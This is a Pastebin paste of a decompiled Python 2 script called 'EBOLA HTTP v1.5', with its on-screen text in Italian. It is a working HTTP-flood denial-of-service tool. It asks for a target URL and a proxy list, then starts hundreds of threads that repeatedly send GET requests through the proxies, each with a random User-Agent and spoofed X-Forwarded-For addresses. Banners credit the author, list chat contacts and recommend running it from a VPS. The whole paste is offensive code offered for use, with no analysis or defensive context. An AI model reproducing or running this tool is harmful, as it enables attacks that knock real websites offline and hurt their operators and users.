HackerPro536

EBOLA HTTP v. 1.5 decode by HackerPro536 - HVNGroups

Dec 11th, 2015
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.92 KB | None | 0 0
  1. # Embedded file name: EbolaHTTP.py
  2. import random
  3. import socket
  4. import threading
  5. import time
  6. print ''
  7. print '                ###############################################'
  8. print '                #              EBOLA HTTP  v. 1.5             #'
  9. print '                ###############################################'
  10. print '                #              PRIMA FAI IL LOGIN             #'
  11. print '                ###############################################'
  12. print ''
  13. print ''
  14.  
  15. class Secure:
  16.     logbase = {'ebola': 'ebola'}
  17.     logged = False
  18.     invalid = False
  19.  
  20.     def login(self, user, passw):
  21.         self.logged = False
  22.         self.invalid = False
  23.         try:
  24.             if self.logbase[user] == passw:
  25.                 self.logged = True
  26.             else:
  27.                 self.logged = False
  28.         except:
  29.             self.logged = False
  30.             self.invalid = True
  31.  
  32.     def __init__(self):
  33.         while self.logged == False:
  34.             user = raw_input('Username: ')
  35.             passw = raw_input('Password: ')
  36.             self.login(user, passw)
  37.             if self.invalid == True:
  38.                 print 'Nome Errato'
  39.             elif self.logged == False:
  40.                 print 'Nome O Password Errati'
  41.             elif self.logged == True:
  42.                 print 'Benvenuto, %s' % user
  43.  
  44.  
  45. S = Secure()
  46. userAgents = ['Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  47.  'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  48.  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
  49.  'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5',
  50.  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3',
  51.  'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  52.  'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  53.  'Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0',
  54.  'Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0',
  55.  'Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3',
  56.  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0',
  57.  'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0',
  58.  'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  59.  'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  60.  'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)',
  61.  'Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)',
  62.  'Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00',
  63.  'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  64.  'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  65.  'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14',
  66.  'Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02',
  67.  'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00',
  68.  'Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00',
  69.  'Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)',
  70.  'HTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)',
  71.  'Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)',
  72.  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+',
  73.  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
  74.  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.115 Mobile Safari/534.11+',
  75.  'Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+',
  76.  'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7',
  77.  'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5',
  78.  'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  79.  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2',
  80.  'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10',
  81.  'Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3',
  82.  'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27']
  83.  
  84. def randomIp():
  85.     random.seed()
  86.     result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254)) + '.'
  87.     result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  88.     return result
  89.  
  90.  
  91. def randomIpList():
  92.     random.seed()
  93.     res = ''
  94.     for ip in xrange(random.randint(2, 8)):
  95.         res = res + randomIp() + ', '
  96.  
  97.     return res[0:len(res) - 2]
  98.  
  99.  
  100. def randomUserAgent():
  101.     return random.choice(userAgents)
  102.  
  103.  
  104. class attacco(threading.Thread):
  105.  
  106.     def run(self):
  107.         current = x
  108.         if current < len(listaproxy):
  109.             proxy = listaproxy[current].split(':')
  110.         else:
  111.             proxy = random.choice(listaproxy).split(':')
  112.         useragent = 'User-Agent: ' + randomUserAgent() + '\r\n'
  113.         forward = 'X-Forwarded-For: ' + randomIpList() + '\r\n'
  114.         httprequest = get_host + useragent + accept + forward + connection + '\r\n'
  115.         while nload:
  116.             time.sleep(1)
  117.  
  118.         while 1:
  119.             try:
  120.                 a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  121.                 a.connect((proxy[0], int(proxy[1])))
  122.                 a.send(httprequest)
  123.                 try:
  124.                     for i in xrange(3):
  125.                         a.send(httprequest)
  126.  
  127.                 except:
  128.                     tts = 1
  129.  
  130.             except:
  131.                 proxy = random.choice(listaproxy).split(':')
  132.  
  133.  
  134. print ''
  135. print ''
  136. print '                ###############################################'
  137. print '                #                MADE BY GUZMAN96             #'
  138. print '                #                EBOLA HTTP  v. 1.5           #'
  139. print '                ###############################################'
  140. print '                #           USARE SU UN VPS / DEDICATO        #'
  141. print '                ###############################################'
  142. print '                #               SKYPE: OOATOMICZOO            #'
  143. print '                ###############################################'
  144. print '                #            TS3: TS3.DRCCOMMUNITY.NET        #'
  145. print '                ###############################################'
  146. print '                #          FORUM: FORUM.DRCCOMMUNITY.NET      #'
  147. print '                ###############################################'
  148. print ''
  149. print ''
  150. url = raw_input('Sito (Es http://sito.com/) : ')
  151. host_url = url.replace('http://', '').replace('https://', '').split('/')[0]
  152. in_file = open(raw_input('Lista proxy (Es: proxy.txt) : '), 'r')
  153. proxyf = in_file.read()
  154. in_file.close()
  155. listaproxy = proxyf.split('\n')
  156. thread = input('Pacchetti (Consigliati: 800): ')
  157. get_host = 'GET ' + url + ' HTTP/1.1\r\nHost: ' + host_url + '\r\n'
  158. accept = 'Accept-Encoding: gzip, deflate\r\n'
  159. connection = 'Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n'
  160. nload = 1
  161. x = 0
  162. for x in xrange(thread):
  163.     attacco().start()
  164.     time.sleep(0.003)
  165.     print '' + str(x) + ' Pacchetti Partiti!'
  166.  
  167. print 'Attacco Iniziato...'
  168. nload = 0
  169. while not nload:
  170.     time.sleep(1)
Add Comment
Please, Sign In to add comment